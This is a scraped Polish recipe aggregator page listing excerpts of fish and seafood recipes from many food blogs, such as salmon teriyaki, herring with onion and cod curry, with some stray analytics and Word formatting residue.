który trafiam - nie nadaje się do spożycia. Po prostu mi nie smakuje! Jednak nic straconego, bo można zrobić własny, domowy i przeeepyszny. Często przyrządzam go z różnymi gatunkami ryb i Wy również możecie użyć np. wędzonej makreli, szprotek, czy tuńczyka lub łososia z puszki. Polecam! 100g ryżu 1 marchewka (średnia) 1 cebula (spora) 3/4 puszki pomidorów 1 puszka (160g) tuńczyka

Di gotuje
ŁOSOŚ TERIYAKI , KREM SEROWO-CEBULOWY + TEST SPRZĘTU MONSIEUR CUISINE PLUS 186

gotuje – rozdrabnia – sieka – miesza – ugniata – miksuje – blenduje – waży CO MOŻNA W NIM PRZYGOTOWYWAĆ: ciasta – mięsa -zup -warzywa – koktajle – ryby – konfitury – sosy Całość jest bardzo ciężka, co świadczy o wyjątkowej trwałości, porządnych materiałach. Jest bardzo łatwy w obsłudze i posiada czytelny wyświetlacz, który ułatwia nam przygotowanie dań – widzimy

Ostra na Słodko
Pomysł na… makaron z łososiem 151

Bardzo szybkie danie. Makaron ryżowy nie wymaga gotowania. Wystarczy zalać wrzątkiem i odstawić na czas krojenia ryby. Łososia kromy w kostkę i podsmażamy na łyżce oleju kokosowego. Doprawiamy solą, kurkumą i mieloną kolendrą. Dodajemy makaron i podsmażamy całość. Na koniec dodajemy ser. Najlepszy jest serek wiejski, który po podgrzaniu bardzo fajnie się topi. Dziś użyłam sera feta, który sprawdził się

Kucharzyca
Najlepsze śledzie z cebulą 257

Okazuje się, że dodatek szalotek daje jeszcze lepszy efekt smakowy.  Śledzie z cebulą (szalotkami) są idealne, gdy śledzie są słone i cebulowe, ale smak cebuli nie zagłusza smaku ryby.  Słoik śledzi z cebulą można przygotować już teraz i może czekać w lodówce do Świąt.  Śledzie według tego przepisu doskonale smakują jako dodatek do schłodzonej, czystej wódki. Składniki

Codziennik Kuchenny
Carpaccio z buraczków i wędzonego łososia 165

Ostudzić i obrać. Pokroić w cieniutkie plasterki. Kaszę jaglaną ugotować wg przepisu na opakowaniu. Ostudzić. Na talerzach układać plasterki buraczków tworząc okrąg. Posypać kaszą i podzieloną na mniejsze kawałeczki rybę. Danie udekorować kiełkami, polać oliwą i sokiem z cytryny. Oprószyć solą i pieprzem

Smakołyki Asi
Dorsz w sosie z ajwaru 296

sosem. Proponuję użyć nieostrego ajwaru chyba że lubimy pikantne potrawy. Idealnie smakuje podany z ryżem. Wyrazistość paprykowego ajwaru zostaje zrównoważona śmietanką co powoduje, że paprykowy smak nie zabija delikatności ryby a jedynie delikatnie go podkreśla.   Składniki |4 porcje| * 400 g dorsza pokrojonego na mniejsze kawałki * 150 ml śmietanki 36% * 4 łyżki ajwaru * 3 łyżki przecieru pomidorowego * 1/2 łyżeczki suszonego

Mohiella
Śledź z curry 132

eksplozja smaku i tekstury w jednym kęsie. Do zrobienia w kilka minut! Będzie ciekawą odmianą na świątecznym stole i z pewnością zdobędzie kubeczki smakowe gości. Jeśli lubicie te ryby i ciekawe połączenia, to jest to przepis dla Was! Ogromnie polecam! :) Śledź w curry Potrzebujesz: 2 płaty śledzia z solanki 1/2 średniej wielkości cebuli 3/4 łyżeczki curry w proszku 2 łyżki

Kuchnia w Słońcu Skąpana
PIECZONY ŁOSOŚ Z MUSEM MALINOWYM 115

skropienia szklanka malin Wykonanie: Łososia osuszam, nacieram solą, pieprzem, skrapiam sokiem z cytryny oraz oliwą. Piekę w torebce foliowej do pieczenia. Po ok 15 minutach od zaczęcia pieczenia polewamy rybę sosem-zmiksowanymi malinami., zapiekamy jeszcze ok 10 minut. Gotową podajemy z całymi malinami

Z Majeczką w kuchni
Kołaczki rybne 178

czasie posmarować je rozkłóconym jajkiem oraz posypać sezamem, Piec w piekarniku nagrzanym do 200 stopni (termoobieg) przez 25 min. Smacznego! Przepis pochodzi z książki "Ryby są super

Moja Galeria Smaku
Karp po genewsku 97

Dookoła ułożyłem drobno pokrojone warzywa, zioła i przyprawy. Karpia polałem winem, posoliłem, przykryłem folią aluminiową. Formę umieściłem na środkowym poziomie piekarnika, piekłem 35 minut w temperaturze 180 stopni C. Rybę wyjąłem z piekarnika, przykryłem, aby nie wystygła. Sos z pieczenia przecedziłem przez gęste sito, zagotowałem. Dodałem resztę masła wymieszanego z mąką, zagotowałem jeszcze raz, cały czas mieszałem. Polałem karpia sosem

R'n'G Kitchen
Świeży tuńczyk z grilla 214

puszki jest suchy i nudny, ale świeży niczym wołowy stek smakuje wyśmienicie. Jego ceny są zbliżone do łososia norweskiego, a prostota przyrządzenia powinna Was zachęcić do kupna świeżej ryby. Wystarczy sok z cytryny, odrobina soli i świeżo zmielony pieprz. Dodatki też będą!, półchrupki cheddar, filetowane winogrono czy też świeży tymianek :). Tuńczyk to bogactwo witamin z grupy B a także

Kuchnia PROzdrowotna
Surówka z kiszonej kapusty - jak u Babci 342

Smak tej surówki kojarzy mi się z obiadkami u Babci, mojej mistrzyni w gotowaniu. Pasuje do wielu potraw, najlepiej jednak, moim zdaniem, łączy się z rybą (na przykład z  tego  przepisu). Jest szybka, łatwa w wykonaniu, zdrowa i w porównaniu do gotowych surówek, tania. Składniki: 250g dobrej jakościowo kiszonej kapusty 1 mała marchewka pół średniej cebuli

Anielska Kuchnia Ani
Grillowany łosoś 123

Grillowany łosoś to propozycja na zdrowy obiad dla całej rodziny. Należy dietę urozmaicać duż ilością ryb, także i łososiem. Osobiście nigdy nie przepadałam za łososiem, dlatego też tym razem obiad został przygotowany przez mojego najstarszego mężczyznę, który uwielbia tą łososia. Składniki na: Grillowany łosoś: 500g filetów z łososia jedna cytryna jedna mała cebulka 100ml śmietanki […] The post Grillowany łosoś

Magiczny Garnek
Śledzie pieczone w sosie pomidorowym 149

międzyczasie poszłam do piekarni przy głównej ulicy, gdzie na zapleczu wypiekane jest pieczywo, a jego zapach niesie się po całej okolicy. Kupiłam świeże bułki na śniadanie, a wracając po ryby, po drodze dokupiłam jeszcze świeże jajka od baby . Prawie siedem lat mieszkam niedaleko tego rynku, a czułam się jak nowy lokator odkrywający co rusz coś nowego w swojej okolicy

Posadzone i zjedzone
PASTA Z WĘDZONEJ MAKRELI / SMOKED MACKEREL PASTE 157

więcej soli nie potrzeba, ale oczywiście to zależy tylko od Ciebie. Podobnie jest z konsystencją, moim zdaniem nie trzeba dodawać do pasty jogurtu, gdyż tłuszcz zawarty w rybie doskonale łączy składniki. Jeśli jednak uważasz, że past jest z gęsta – dodaj łyżkę jogurtu i wymieszaj dokładnie. Take all the fishbones out of the mackerel, nobody likes fishbones, even the tiniest

Martyna Cooks
Pomidorowy pstrąg pieczony 141

Ostatnio polubiłam ryby pieczone w papilotach. Długo marynowane a potem upieczone są soczyste i smaczne. Ale należy uważać aby ich nie przeciągnąć bo będą wiórowate i nie za smaczne. Dziś rybka z pomidorkami koktajlowymi, które nadają fajnej słodyczy. Rozwiń i czytaj przepis

Ewa w kuchni
Curry z dorsza i pomidorów 98

odmiany ryba w curry.    Składniki Marynata :  2 łyżki oliwy 4 ząbki czosnku 1 łyżka curry 1 łyżeczka ostrej mielonej papryki sól do smaku 1 kg filetów dorsza 2 łyżki oleju 2 słodkie cebule 2 ząbki czosnku 3 łyżki curry 1 łyżka słodkiej papryki 3 puszki krojonych pomidorów bez skórki pół litra bulionu warzywnego 300 g czarnych oliwek

R'n'G Kitchen
Śledzie w sosie musztardowym 136

kupiliśmy słone płaty śledziowe.Jeśli w zalewie troszkę krócej. wodę wymienić musimy kilka krotnie,ponieważ musimy wypłukać ze śledzi zalewę. Co pół godziny możemy spróbować czy nie są słone Rybę pokroić w 2-3 cm kawałki i ułożyć na półmisku. Cebulę pokroić w kostkę, przelać wrzątkiem na sicie by straciła ostrość. Śmietanę, majonez, musztardy, pokrojoną cebulę ,curry ,ocet,gorczycę

Viola cooks with passion
Aromatyczny pieczony łosoś 184

Łosoś jest rybą wyjątkową,  nie tylko ze względu na smak, ale na  jego bezcenne wartości odżywcze.  Jest on jednym z najlepszych źródeł kwasów Omega-3 i Omega-6, czyli wielonienasyconych kwasów tłuszczowych, których organizm nie jest w stanie sam wytworzyć, więc muszą zostać dostarczone w pożywieniu. Łosoś zaspokaja dzienne zapotrzebowanie na jod i potas. Pierwszy

Wołowina od rekina
Ryba w cytrynie i miodzie 147

masło i olej, włożyć zioła i estragon, łyżeczkę skórki z cytryny. Chwilę pomieszać, dodać sok z cytryny i miód, doprawić pieprzem i dusić 4-5 minut, nie dłużej. Włożyć rybę i smażyć ją z obu stron po 3-5 minut. Podawać natychmiast z ryżem. Uwaga: Dłuższe duszenie spowoduje uwolnienie soku z kawałków cytryny. Taki sos można wykorzystać do np. polania

Czerwony Gupik
Pstrąg zapiekany pod majonezowo – szczypiorkową pierzynką 115

łyżki posiekanego szczypiorku Wykonanie: Z pstrąga usuwamy ości ( najlepiej pęsetą ), przyprawiamy solą. Układamy w naczyniu do zapiekania skórą do dołu. Majonez mieszamy z posiekanym szczypiorkiem i smarujemy nim górę ryby. Pstrąga zapiekamy w temp. 180 o C około 20 minut. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Błyskawiczne curry z dorsza 161

niektóre powymieniać według własnego gustu. Jednak obowiązkowo muszą pozostać mleko kokosowe i serek papaja i curry, bo to one narzucają całości odpowiedni smak i charakter. Oczywiście obowiązkowa też jest ryba, bo inaczej nie byłoby to curry rybne. ;) Składniki na 2 porcje: po ½ czerwonej i zielonej papryczki chili 2 ząbki czosnku 1½ łyżeczki posiekanego imbiru 1 łyżka oleju 1 łyżeczka kurkumy

Pełny talerz
Klopsiki z batatów i pstrąga 155

Dzisiaj proponuje wam szybkie i łatwe, a przy okazji pyszne klosiki rybne. Są zrobione z batatów, dzięki czemu mają lekko słodkawy smak i świetnie komponują się z rybą. Powinien być właściwie łosoś, ale ja ostatnio lubię pstrąga łososiowego i namiętnie go kupuje i to jego użyłam do przygotowania kulek. Z dodatkiem sosu to pyszny obiad. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pasta z wędzonego łososia i serka. Inaczej teryna z łososia 110

Teryna to słowo pochodzi od francuskiego słowa torrine. Można robić terynę mięsną, warzywną lub z ryb. Naczynie wyłożyć folią spożywczą. Płaty łososia podzielić na cztery części. Do miski wrzucić twarożek, masło,chrzan i dokładnie zmiksować. Dodać posiekany koperek i wymieszać, ale już łyżką. Doprawić świeżo mielonym pieprzem. Masę podzielić na trzy części. – na dno formy położyć płaty łososia

Kuchnia Pokoleń
Dorsz w świeżych pomidorach z kaparami 196

dorsza myjemy i osuszamy, doprawiamy solą i pieprzem. Pomidory sparzamy pod wrzątkiem i zdejmujemy skórę. Cebulę siekamy i podsmażamy na maśle. Do cebuli dodajemy pomidory, chwilę przesmażamy, następnie dodajemy rybę i zalewamy odrobiną wody. Dodajemy ziele angielskie i listki laurowe. Dusimy około 20 minut. Na sam koniec doprawiamy i dodajemy kapary odciśnięte z zalewy solnej.  Potrawa jest gotowa

Bon Appetit Małgorzaty
Sum pieczony z suszonymi pomidorami 149

600g. fileta suma (ze skórą) 1 cytryna 3-4 suszone pomidory 2 łyżki kaparów 3-4 łyżki oliwy z oliwek pieprz kolorowy Rybę podzielić na porcje i ułożyć w żaroodpornym naczyniu.  Skropić sokiem z cytryny i polać delikatnie oliwą. Oprószyć świeżo zmielonym pieprzem kolorowym.  Posypać kaparami i posiekanymi pomidorami. Szczelnie przykryć i odstawić na ok. 2 godz. Piec

Lubię to gotuję
Łosoś pieczony na pomidorach 153

Łosoś pieczony na pomidorach to danie wykwintne. Jednocześnie szalenie proste i szybkie. Jeżeli będziecie chcieli to możecie przygotować większy kawałek ryby np na obiad. Jeżeli zdecydujecie się na mniejsze kawałki podajcie je jako... Source

Szybko Tanio Smacznie
Kotlety z łososia 184

Kotlety z łososia to nasza propozycja na obiad. Polecam te pyszne kotlety mielone z łososia, gdyż według nas przypadną do smaku każdemu. Kotletciki mielone z łososia

Damsko-męskie spojrzenie na kuchnię
TAJSKA ZUPA RYBNA CURRY 227

cukru trzcinowego 2 łyżki sosu rybnego 1 lub pół czerwonej papryczki chili w zależności od preferencji (świeża lub suszona) Do podania: ryż jaśminowy lub makaron ryżowy, świeża kolendra PRZYGOTOWANIE: Rybę i owoce morza rozmrozić jeśli używamy zamrożonych. W wysokim garnku o grubym dnie rozgrzać olej i podsmażyć na nim pokrojoną w piórka cebulę. Dodaję pastę curry, podsmażam do momentu

Calzonella.com
Grillowane steki z łososia na desce cedrowej 165

Jest to szybki i łatwy sposób na grillowane steki z łososia. Możemy zachować wspaniały smak łososia, ale również uzyskać łagodny smak dymu z tlących się drewnianych

naRuszcie
Zielone tagliatelle z łososiem 152

maszynką lub nożem na szerokość ok 5-6mm. Gotujemy al dente w osolonej wodzie.  Łososia myjemy, osuszamy i kroimy w grubą kostkę. Na patelni rozgrzewamy oliwę, wrzucamy rybę, doprawiamy, podlewamy śmietanką i cały czas mieszamy aż do miękkości. Łączymy z makaronem i pestkami granatu, podajemy na ciepło

Kuchnia w czekoladzie
ŁOSOŚ Z KARMELIZOWANYMI ŚLIWKAMI 144

Pożywny i lekki, a jednocześnie niebanalny obiad z łososiem w roli głównej. Połączenie soczystej grillowanej ryby z karmelizowanymi śliwkami smakuje rewelacyjnie. Trzeba tylko pilnować, aby nie przesuszyć łososia. Dobrze zgrillowany powinien być mięciutki w środku i mieć chrupiącą i lekko pikantną skorupkę na zewnątrz. Warto pokusić się o taki o taki obiad nawet w czasie zapracowanego tygodnia. SKŁADNIKI / 2 porcje

cool and minty
SUSHI Z PIECZONYM ŁOSOSIEM 135

sprawdzą się żadne inne rodzaje ryżu, np. basmati czy jaśminowy.    Sushi z pieczonym łososiem zdecydowanie należy do moich ulubionych. Nie zawsze mam dostęp do dobrych surowych ryb, które są kruche, świeżutkie i rozpadają się w ustach. Nie chcę ryzykować, dlatego najczęściej korzystam z pieczonego lub grillowanego łososia teriyaki.  Zwijanie sushi może być świetnym sposobem na spędzanie wieczoru

cool and minty
KASZA JAGLANA SMAŻONA Z ŁOSOSIEM I SZPARAGAMI 148

lunch do pracy lub podać jako kolację czy obiad.  Doprawiłam je sosem sojowym, papryczką chili i listkami kolendry. Przed samym podaniem skropiłam sokiem z limonki. Dzięki dodatkowi ryby danie jest pełnowartościowe i sycące, ale jednocześnie lekkie. Nie traci nic na odgrzewaniu, więc z powodzeniem przygotujecie je na 2 dni. SKŁADNIKI / 2 porcje ¹⧸₂ szklanki kaszy jaglanej 1 szklanka gorącej wody

cool and minty
Dorsz z sałatką na ciepło z ziemniaków, bobu, pimientos de Padrón i chorizo 139

Padrón. Podsmaż je przez kilka minut i dobrze posól. Bób ugotuj na półtwardo i zahartuj w zimnej wodzie. Wszystkie składniki na sałatkę połącz ze sobą i podgrzej przed podaniem ryby. Dorsza podsmaż na dobrze rozgrzanej patelni z klarowanym masłem, kładąc go skórą do dołu. Podawaj z sałatką

Food Square
KARP FASZEROWANY GRZYBAMI 111

Wigilii. Nie oznacza to jednak że co roku misi byc on smażony w formie kotleta, równie dobrze można zaskoczyć gości bardziej wykwintna wersją jak nadziewany karp z grzybami. Taka ryba będzie ozdoba stołu i zachwyci gości. Polecam

Kulinarne Fantazje Marioli
Szczupak pieczony 138

jakiegoś czasu mój mąż zapalił się na wędkowanie. Co prawda gdy był dzieckiem jeździł ze swoim tatą bardzo często na ryby ale potem miał dużą przerwę i znowu złapał bakcyla. Młodszy synyś też załapał wędkowanie ale woli raczej rzeki niż jeziora. No i połowy jak to bywa są z róznym skutkiem, raz sporo rybek a czasami ani jednej

Ewa w kuchni
Awanturka - pasta z twarogu i sardynek 156

www.facebook.com/Di.gotuje   http://digotuje.blogspot.com    Awanturka to pasta twarogowa z dodatkiem wędzonej ryby. Jej receptura jest różna i głównie zależy od regionu Polski. Przyznam szczerze, że wcześniej nie spotkałam się z tym smarowidłem, choć wiele o nim czytałam. Często robiłam pasty rybne, ale nigdy z twarogiem. Moja mama, czy nawet babcia - również o niej nie słyszeli. Postanowiłam spróbować

Di gotuje
Ryba zapiekana w sosie grzybowym z kruszonką 186

mały pęczek cienkiego szczypioru masło klarowane składniki na kruszonkę: 2 łyżki mąki 1 łyżka cukru pudru (możecie użyć także drobnego cukru białego lub brązowego) 1 łyżka miękkiego masła Wykonanie: Ryba: Filety rozmrażamy, posypujemy z obu stron solą i świeżo przetartym pieprzem. Układamy w naczyniu żaroodpornym.  Sos: Pieczarki kroimy w drobne plasterki, borowiki w mniejszą kostkę. Przesmażamy

Zasmakuj Kuchni
Łosoś pieczony z pastą z suszonych pomidorów z dodatkiem czosnku 115

prostocie. Polecam. Składniki: Kawałki łososia ( ok. 200 gram na „głowę” ) Sól Pasta z suszonych pomidorów z czosnkiem Natka pietruszki Wykonanie: Łososia oczyszczamy. Warto wyjąć pęsetą ości, łatwo wychodzą. Rybę solimy z obu stron. Kładziemy w naczyniu do zapiekania skórą do dołu. Na łososia nakładamy pastę z suszonych pomidorów i pozostawiamy do zamarynowania. Pozostawiamy minimum na 30 minut. Następnie zapiekamy

Smaki Ewy
szczupak pieczony z ziemniakami i zielonym groszkiem 212

solimy i pieprzymy. Szczupaka wyjmujemy z lodówki i układamy pomiędzy warzywami na całości  układamy wiórki z pozostałego masła i  wstawiamy do piekarnika nagrzanego do 180 stopni. Rybę z warzywami  zapiekamy w tej temperaturze przez trzydzieści minut. Na dziesięć minut przed końcem pieczenia otwieramy piekarnik i na wierzch dania dodajemy zielony groszek. Zapiekankę wyjmujemy z piekarnika, dzielimy

Miód i pieprz
Przepisy z łososia- kanapki 181

rodzinnych i przyjacielskich przyjęciach. Moja rodzina przepada za kanapkowymi tortami. Tort kanapkowy można przełożyć wcześniej, a dopiero przed podaniem udekorować. Wędzony lub gravad łosoś świetnie się do tego nadaje. Rybę można również dodać do nadzienia. The post Przepisy z łososia- kanapki appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Filety z łososia na szpinaku z młodymi ziemniakami 210

patelni aby "doszedł."lub w ciepłym piekarniku kolejne 4-5 minut. Ziemniaki odcedź gdy zmiękną i wymieszaj z koperkiem. Jeżeli szpinak zdążył ostygnąć, podgrzej go krótko i podawaj z rybą i ziemniakami. Smacznego. CMOK . Do dania pasuje białe wino typu Riesling

Pasje Jolki
Smażone młode śledzie ze słodko-kwaśną sałatką ziemniaczaną 186

posiekaną zieleninę. Mieszamy, pieprzymy i dosalamy do smaku. ŚLEDZIE I BEKONOWO-ZIOŁOWY SOS Wypatroszone śledzie myjemy i dokładnie osuszamy na papierowym ręczniku – żadne inne zabiegi nie są konieczne. Delikatnie ryby solimy i pieprzymy. Na patelni rozgrzewamy łyżkę masła, wysmażamy na chrupko centymetrowe plasterki bekonu. Zdejmujemy z patelni, odkładamy. Na pozostałym na patelni tłuszczu szklimy drobno pokrojoną cebulę lub szalotki

Karo in the Kitchen
Łosoś pachnący rozmarynem 159

Uwielbiamy ryby, łososia szczególnie, dzisiaj podam Wam przepis na delikatnego, grillowanego łososia pachnącego rozmarynem.  Uwierzcie, to raj dla podniebienia:)  Szybko i smacznie, gorąco polecam :) łosoś 60 dag świeżego filetu z łososia (dobra jakość w KLIK ) Pieprz cytrynowy Sól morska Rozmaryn Olej łosoś Łososia oczyszczam z łusek i dzielę na odpowiednia dla siebie kawałki. Każdą porcję oprószam solą, pieprzem

Takie tam pichcenie
pstrąg pieczony z kalafiorem i warzywami 147

pstrąg z kalafiorem Delikatne zapiekane warzywa, oraz aromatyczna ryba to propozycja na lekki posiłek, wprost idealny na tę porę roku. składniki dla czterech osób 3 pstrągi ( lub gotowe filety bez skóry) 1 papryka czerwona 1 papryka żółta 1 kalafior   1 bakłażan 3 pomidory 1 cebula 1/3 pęczka szczypioru 2 ząbki czosnku 2 łyżki masła 5 łyżek oliwy sól, pieprz

Miód i pieprz
filety turbota z piekarnika na obiad... 153

ogórek, wlać jogurt wymieszany, z cukrem, solą, pieprzem, octem młode ziemniaki ugotować w osolonej wodzie, odlać z wody i podać posypane koperkiem z turbotem i sałatą turbot jest smaczmą rybą, przypomina mi mięsko halibuta, ma mało ości i warto od czasu do czasu zjeść...............SMACZNEGO

W Mojej Kuchni Lubię
Zapiekany łosoś z truskawkami 95

żółtego sera 200 g truskawek sól pieprz   Przygotowanie Filety z łososia umyłem, osuszyłem, podzieliłem na 4 części. Przyprawiłem do smaku solą i pieprzem. Lekko obsmażyłem na patelni. Ułożyłem rybę na natłuszczonej blasze, obłożyłem po wierzchu truskawkami pokrojonymi na plasterki i startym na wiórki serem. Zapiekałem, aż ser się stopił. Można podać z podpieczoną bagietką

R'n'G Kitchen
Pstrąg pieczony 136

Taki pstrąg chodził za mną już dłuższą chwilę, ale mój syn jak zobaczył, że ryby są z głowami, to powiedział, że nie będzie takiego jadł. Więc kupiłam, a w tym czasie, w którym go przygotowywałam, gdzieś szalał i po prostu pozbyłam się głów. Jadł już gotową rybkę, która bardzo mu posmakowała. Pstrąg upieczony został z masełkiem, dużą ilością koperku, czosnkiem

kruche babeczki
Makaron z tuńczykiem – włoski obiad w 15 minut 179

melduje się dzisiaj makaron – pozdrawiają słoneczne Włochy. Minimalna ilość składników, minimum potrzebnego na przygotowanie czasu. Maksimum satysfakcji nad talerzem i smak, który zostaje w pamięci na długo. Soczyste mięso ryby podkręcone kaparami i skórką z cytryny, szybki serowy sos. To jak, macie te 15 minut? Cytrynę myjemy pod bieżącą wodą, parzymy wrzątkiem, osuszamy i ścieramy zesterem lub na drobnej tarce

Karo in the Kitchen
Pstrąg łososiowy z salsą rabarbarową i białymi szparagami 135

Połączenie ryby i białych szparagów tak mi zasmakowało, że postanowiłam przygotować kolejne danie z ich udziałem. Do towarzystwa zaprosiłam jeszcze warzywo, na które wiele osób czeka z utęsknieniem czyli rabarbar. Najczęściej jest on wykorzystywany do wypieków lub deserów. Ja jednak wolę go zdecydowanie w wersji wytrawnej. Za ciastami z jego udziałem nie przepadam, podobnie jak zresztą pozostała część mojej rodziny

Wiem co jem
Wrapy z wędzonym pstrągiem i orzechami 150

Placki kukurydziane są bardzo wdzięcznym produktem do przygotowywania szybkich wrapów. Delikatny kremowy serek, wyrazista ryba, lekko słodka papryka i chrupiące orzechy.... pycha! Gorąco polecam! Składniki: 4 plaski tortilli opakowanie białego serka typu Philadelhia szklanka posiekanych orzechów włoskich ½ szklanki nasion słonecznika główka salaty masłowej strąk czerwonej papryki płat wędzonego pstrąga łososiowego Sposób przygotowania: Placki tortilli podsmażamy na suchej patelni aż się

Pyry na Gaz
Marynata, łosoś i piekarnik, a może grill? 134

Dawno nie było żadnej ryby na blogu. Trzeba więc to naprawić. Dzisiaj prosty łosoś z piekarnika. ładny kawałek łososia marynata : 2 łyżki sosu teriyaki 2 łyżki sosu sojowego 2 łyżki mirinu lub innego japońskiego wina do gotowania 1 łyżka octu winnego 1 łyżka oleju sezamowego 1 łyżka cukru 2 ząbki czosnku dodatkowo : sezam

Polska Zupa
Łosoś duszony z warzywami 204

niedzielny obiad Składniki filet z łososia 300 g cukinia 1/2 szt pieczarki 5-6 szt suszone pomidory 2-3 szt pieprz ziołowy przyprawa do ryb sól i pieprz papryka słodka mielona … Czytaj dalej Łosoś duszony z warzywami

czarrna od kuchni
Sałatka z młodych ziemniaków i szpinaku z francuskim dressingiem 185

powstało najlepsze wiosenne danie tego sezonu <3 Możecie je również zabrać ze sobą do pracy jako lunchbox, bo jest syte za sprawą dodatku ziemniaków i ryby. Składniki na 1 porcję: 3 małe młode ziemniaki (ok. 220g) 4 rzodkiewki 40g świeżego szpinaku 50g pieczonego lub wędzonego łososia Dressing: 1 łyżeczka musztardy francuskiej 2 łyżki oliwy z oliwek lub oleju rzepakowego

Fabryka pomysłów
Smażony łosoś podany z pieczoną marchewką, groszkiem i szalotkowym sosem winnym 134

wrzucić do rozgrzanego masła (2 plastry), zrumienić, oprószyć solą i pieprzem, podlać winem, wycisnąć sok z polówki cytryny, zredukować, zblendować lub przetrzeć przez sito.  Na talerzu ułożyć usmażoną rybę, kilka upieczonych kawałków marchewki z rozmarynem, ozdobić zielonym groszkiem, sosem szalotkowym oraz plastrami cytryny.     Smacznego

Wino Francja Kuchnia
Szaszłyki z tuńczykiem i krewetkami 126

będą się przypalać). Tuńczyka myjemy i kroimy w kostkę o wymiarach około 2cm x 2cm. Krewetki obieramy z pancerza. Papryki myjemy i kroimy w kostkę podobnej wielkości jak ryba. Cebulę kroimy w ćwiartki i rozdzielamy warstwy. Na patyczki nabijamy na przemian kostkę z tuńczyka, paprykę czerwoną, cebulę i paprykę zieloną. Na koniec nabijamy po jednej krewetce. Szaszłyki doprawiamy z wszystkich

Pyry na Gaz
Pstrąg tęczowy z pesto z niedźwiedziego czosnku w sosie cytrynowym 123

tęczowego - łososiowy 1 mała czerwona cebula 1/3 szklanki białego pół wytrawnego wina 25 g masła sok z jednej cytryny 3 łyżeczki miodu sól, pieprz pesto z niedźwiedziego czosnku Przygotowanie Rybę dokładnie opłukać. Ugotować w bulionie warzywnym (ok 5 min). Cebulę posiekać w drobną kostkę, podsmażyć na łyżeczce masła. Wlać wino i sok z cytryny - trzymać na ogniu

Gaździnka warzy
Ryż z marchewką podany z polędwicą z łososia 188

Ryby, to źródło zdrowia, dlatego powinniśmy je wprowadzać do swojej diety. Dziś mam dla Was pyszny, a zarazem zdrowy przepis na ryż z marchewką podany z polędwicą z łososia. Smacznie, prosto i zdrowo – czasem nie trzeba niczego więcej. Spróbujcie. Ryż z marchewką podany z polędwicą z łososia Ryż z marchewką podany z polędwicą z łososia

Słodkie okruszki
Łosoś z aromatycznymi truskawkami w zredukowanym balsamiko 198

patelni i kłaść łososia skórą do dołu na gorącym oleju. Dodać też plastry cytryny, przewracając je wraz z łososiem. Smażyć łososia od strony skóry ok. 2 minut i przewrócić rybę na drugą stronę. Smażyć kolejne 1,5 minuty. Uważać by łososia nie przesmażyć, bo stanie się suchy i wiórowaty. Jak prawidłowo usmażyć soczystego łososia z patelni , by nie był przesuszony

Sztuka gotowania w/g Samiry
Szaszłyki z łososiem 187

sprawdza się nie tylko mięso Składniki do kupienia w Almie 250 g łososia lub pstrąga łososiowego 1 średnia cukinia 2 podłużne cebule 3-4 pieczarki sól, pieprz przyprawa do ryb … Czytaj dalej Szaszłyki z łososiem

czarrna od kuchni
Sałatka z wędzonym pstrągiem 161

smakuje w wersji solo oraz sprawdzi się jako "pasta" - ze świeżym pieczywem. 1 wędzony pstrąg 2 jajka 1 cebula (średnia) 2 łyżki przecieru pomidorowego lub ketchupu olej pieprz   Rybę oczyścić ze skóry i ości. Jajka ugotować na twardo i pokroić w kostkę, a cebulę drobno posiekać. Wszystkie składniki ze sobą połączyć - dodając ketchup/przecier i olej (ilość wg gustu). Sałatkę

Di gotuje
Wywar rybny 122

Blueberry Corner by "jagodzianka" Przygotowując potrawy z ryb zawsze zostają jakieś resztki – kręgosłupy, ogony, głowy. Z tych części można zrobić rewelacyjny wywar rybny, … Przeczytaj cały artykuł Post Wywar rybny pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Gładzica w stylu Sorrento 224

Blueberry Corner by "jagodzianka" Na bazarku przy ul. Nehru w Warszawie, w małej budce z rybami u pani Basi zdarzyło mi się kupić gładzicę … Przeczytaj cały artykuł Post Gładzica w stylu Sorrento pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sałatka z pstrągiem i orzechami 179

komórek i obniżają poziom trójglicerydów we krwi a tym samym zmniejszając ryzyko zawału serca. Do tego jest bardzo smaczna. Słodkie pomidorki i lekko pikantna rukola świetnie współgrają z wyrazistą rybą. Składniki: (na 4 porcje) opakowanie rukoli 50g dowolnych kiełków (u mnie brokułów) wędzony filet z pstrąga łososiowego szklanka pomidorków cherry 10-15 kawałków suszonych pomidorów + olej sok z ½ cytryny garść

Pyry na Gaz
wątróbki dorszowe w sosie kaukaskim 161

dorszowe wątróbki Z ostatniej morskiej wyprawy prócz dorodnego dorsza, przywiozłem ze sobą również rybie wątróbki. Jest to rarytas wysoko ceniony w wielu kuchniach, który nie wiedzieć czemu u nas jest mocno niedoceniany. A szkoda bo zapewniam, że umiejętnie przygotowana wątróbka z dorsza, oprócz wielu cennych składników, dostarczy

Miód i pieprz
Grillowany łosoś w sosie ostrygowym 124

Grillowanie to nie tylko karkówka, kiełbaska i kaszanka. Grillowane ryby są przepyszne, tak samo jak warzywa i równie warte uwagi. A łosoś? Taki z rusztu jest najlepszy... Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

Gotowanie i blogowanie
KOTLECIKI RYBNE Z JAJKIEM 144

filetów z mintaja,morszczuka bądź dorsza 3 jajka ugotowane na twardo 1 cebula 1 jajko 2 łyżki bułki tartej sól,pieprz płatki kukurydziane Filety z ryby zmielić w maszynce razem z cebulą,wbić jajko,dodać bułkę tartą oraz sól i pieprz.Dokładnie wyrobić gładką masę.Obrać jajka ugotowane na twardo,dość grubo posiekać - dodać do masy rybnej i delikatnie wymieszać

Niespełnione zdolności kulinarne
Ziołowa ryba z kaszą bulgur 268

czarniaka gałązka estragonu 1 mała cebulka oliwa sól i pieprz kasza z warzywami: 1 szklanka kaszy bulgur 1 słoik domowych krojonych pomidorów (0,5l) … Czytaj dalej Ziołowa ryba z kaszą bulgur

czarrna od kuchni
Ryba zapiekana pod cebulowo-serową pierzynką 193

